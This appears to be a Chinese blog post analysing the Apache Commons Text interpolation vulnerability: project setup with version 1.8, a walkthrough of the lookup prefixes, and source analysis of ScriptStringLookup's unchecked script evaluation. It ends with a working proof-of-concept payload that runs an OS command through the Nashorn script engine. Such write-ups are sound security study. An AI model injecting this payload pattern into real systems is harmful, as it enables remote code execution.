前言

学习。


环境搭建

可以在maven仓库里直观地看到存在漏洞的软件版本:

于是新建一个Java项目,加入受漏洞影响的Apache Commons Text依赖:

<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.8</version>
</dependency>

不知道为什么下载不到1.9版本的,搞不懂。

漏洞分析

看一看官方的入门指导

Apache Commons Text是一个文本处理库,可以通过\${prefix:name}的写法对字符串进行灵活处理,比如入门指导中给出的快速文本处理示例代码,这里我删掉了一些跟文件有关的处理避免发生文件不存在的问题:

final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
final String text = interpolator.replace(
"Base64 Decoder:        ${base64Decoder:SGVsbG9Xb3JsZCE=}\n" +
    "Base64 Encoder:        ${base64Encoder:HelloWorld!}\n" +
    "Java Constant:         ${const:java.awt.event.KeyEvent.VK_ESCAPE}\n" +
    "Date:                  ${date:yyyy-MM-dd}\n" +
    "Environment Variable:  ${env:USERNAME}\n" +
    "Java:                  ${java:version}\n" +
    "Localhost:             ${localhost:canonical-name}\n" +
    "Resource Bundle:       ${resourceBundle:org.apache.commons.text.example.testResourceBundleLookup:mykey}\n" +
    "System Property:       ${sys:user.dir}\n" +
    "URL Decoder:           ${urlDecoder:Hello%20World%21}\n" +
    "URL Encoder:           ${urlEncoder:Hello World!}\n"
);

将处理完后的文本打印出来,可以看到:

很明显,Apache Commons Text可以通过在字符串中使用\${prefix:name}格式的字符串进行字符串的插入,其中prefix代表了要对源字符串做的处理,而name代表了源字符串,如第一个字符串插值${base64Decoder:SGVsbG9Xb3JsZCE=}就代表了对name进行base64解码后插入字符串中。

根据漏洞通告所说,prefix代表的其实是Apache Commons Text里面org.apache.commons.text.lookup.StringLookup这个接口的实现类,在IDEA里面搜索一下继承了该接口的类:

可以很明显地看到,有一些类就是示例代码中使用到的文本处理类,按照漏洞通告的说法,其中有三个StringLookup类存在利用方法:

These lookups are: - "script" - execute expressions using the JVM script execution engine (javax.script) - "dns" - resolve dns records - "url" - load values from urls, including from remote servers 

其中script这个prefix看起来就特别可疑,似乎可以调用脚本引擎,找到其对应的ScriptStringLookup类,可以在注释里看到使用方法:

${script:javascript:3 + 4}

看起来是调用了JavaScript引擎运行了后面的代码,接下来分析一下执行文本处理地该类的lookup函数:

@Override
public String lookup(final String key) {
    if (key == null) {
        return null;
    }
    final String[] keys = key.split(SPLIT_STR);
    final int keyLen = keys.length;
    if (keyLen != 2) {
        throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is DocumentPath:Key.",
                key);
    }
    final String engineName = keys[0];
    final String script = keys[1];
    try {
        final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);
        if (scriptEngine == null) {
            throw new IllegalArgumentException("No script engine named " + engineName);
        }
        return Objects.toString(scriptEngine.eval(script), null);
    } catch (final Exception e) {
        throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,
                script);
    }
}

可以看到非常可疑的两句代码:

final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);

和:

return Objects.toString(scriptEngine.eval(script), null);

漏洞利用

参考常用的ScriptEngineManager:

${script:nashorn:java.lang.Runtime.getRuntime().exec('calc')}

参考


Web

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

CVE-2022-32532 Shiro认证绕过
Java Tomcat Valve内存马